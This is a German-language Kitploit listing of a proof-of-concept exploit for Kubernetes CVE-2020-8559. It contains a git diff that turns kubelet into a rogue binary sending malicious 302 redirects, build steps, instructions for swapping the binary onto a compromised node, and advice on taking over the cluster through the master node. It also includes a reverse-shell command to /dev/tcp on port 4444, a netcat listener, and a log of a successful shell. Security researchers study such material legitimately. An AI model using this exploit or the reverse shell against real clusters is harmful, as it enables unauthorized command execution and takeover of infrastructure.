Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-8559 — This is a PoC exploit for CVE-2020-8559 Kubernetes Vulnerability | Kitploit
Tools/GitHubGitHub/tdwyer/cve-2020-8559
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud Security
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

This is a PoC exploit for CVE-2020-8559 Kubernetes Vulnerability

Repository anzeigen
5414vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Kubernetes CVE-2020-8559 Proof of Concept PoC Exploit

Dies dient ausschließlich Demonstrationszwecken. Nur für den Einsatz auf Systemen, für die Sie autorisiert sind, administrative Aktionen durchzuführen und CVE-2020-8559 auszunutzen.

Dies ist ein PoC für CVE-2020-8559. Diese Schwachstelle ermöglicht es einem Angreifer, der root-Zugriff auf einen Node erlangt hat, Befehle auf jedem anderen Container im Cluster auszuführen, wodurch der Angreifer den Kubernetes-Master-Node übernehmen kann.

Diese Schwachstelle ist darauf zurückzuführen, dass der Kubernetes-API-Server und der kubectl-Befehl HTTP-Weiterleitungen folgen, kombiniert mit der Tatsache, dass die Kubernetes-API alle Komponenten einer API-Anfrage in die URL setzt, d.h. Node-Name, Pod-Name, Container-Name und sogar den Befehl. Wenn der Kubelet-Prozess daher auf /exec, /attach, /portforward oder eine beliebige resource: proxy-Aktion mit einer HTTP 302-Weiterleitung antwortet, deren Location-Header die Ausführung eines anderen Befehls auf einem anderen Node in einem anderen Container anweist, wird der Kubernetes-API-Server oder der kubectl-Befehl bereitwillig eine neue Anfrage für das stellen, was im Location-Header steht.

Kubernetes-Repository mit meinem PoC-Code

Sie können meine geforkte Version von Kubernetes herunterladen und zu meinem Branch wechseln, um die Exploit-kubelet-Binärdatei zu erstellen.
Dieser Branch basiert auf dem Tag v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git-Diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Konfiguration

Dieser PoC sendet lediglich eine HTTP 302-Weiterleitung mit einem hartcodierten Location-Header. Sie müssen daher kubernetes/pkg/kubelet/server/server.go bearbeiten und host, namespace, pod, container und command aktualisieren.

ProTip: Listen Sie alle Pods im Cluster auf. Konfigurieren Sie dies dann so, dass es Befehle auf einem Pod ausführt, der auf dem Kubernetes-Master-Node läuft, um eine umgekehrte Shell zu Ihnen zu starten und so das Cluster zu übernehmen.

Build

Nach der Konfiguration des Angriffs erstellen Sie eine rogue kubelet-Binärdatei

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Angriff

  1. Erlangen Sie root-Zugriff auf einen Node
  2. Kopieren Sie die rogue kubelet-Binärdatei auf den Node
  3. Stoppen Sie den kubelet-Prozess und überschreiben Sie die Binärdatei mit der rogue Binärdatei
    Finden Sie die PID des kubelet-Prozesses
    ps aux |grep kubelet
    Töten Sie den kubelet-Prozess und kopieren Sie die rogue Binärdatei an die richtige Stelle
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Töten Sie den kubelet-Prozess erneut, damit er mit der rogue Binärdatei neu startet
    Finden Sie die PID des kubelet-Prozesses
    ps aux |grep kubelet
    Töten Sie den kubelet-Prozess
    sudo kill $PID
  5. Wenn Sie auf einen Administrator abzielen, der den kubectl-Befehl auf seiner lokalen Workstation verwendet, sollte dieser Befehl den Hostnamen des Opfer-Containers zurückgeben, anstatt des Containers, auf dem er hätte ausgeführt werden sollen
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

Sie können auch eine umgekehrte Shell von jedem Container aus starten mit:

  1. Starten Sie netcat auf Ihrer Workstation im Lauschmodus
    nc -lv 4444
  2. Verwenden Sie stattdessen diesen Befehl, allerdings müssen Sie ihn kodieren. Ich werde die genaue Methode aktualisieren, sobald ich sie herausgefunden habe.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Erfolg :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
Tool herunterladen